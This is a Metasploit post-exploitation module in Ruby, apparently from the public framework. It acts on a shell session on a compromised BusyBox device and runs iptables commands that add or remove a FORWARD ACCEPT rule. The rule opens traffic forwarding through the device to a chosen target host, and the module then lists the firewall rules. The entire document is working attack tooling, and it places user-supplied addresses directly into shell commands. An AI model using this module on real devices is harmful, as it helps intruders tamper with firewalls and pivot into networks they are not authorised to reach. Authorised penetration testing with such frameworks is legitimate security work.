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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  def initialize
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    super(
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      'Name' => 'BusyBox DMZ Configuration',
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      'Description' => %q{
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        This module will be applied on a session connected to a BusyBox shell. It allows to manage
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        traffic forwarding to a target host through the BusyBox device.
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      },
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      'Author' => 'Javier Vicente Vallejo',
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      'License' => MSF_LICENSE,
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      'Platform' => ['linux'],
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      'SessionTypes' => ['shell']
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    )
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    register_options([
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      OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']),
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      OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false])
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    ])
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  end
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  def run
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    if datastore['DELETE']
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      print_status("Deleting #{datastore['TARGET_HOST']} from DMZ")
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      vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
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    else
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      print_status("Adding #{datastore['TARGET_HOST']} to DMZ")
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      vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
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    end
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    vprint_status(cmd_exec('iptables --list'))
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  end
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end
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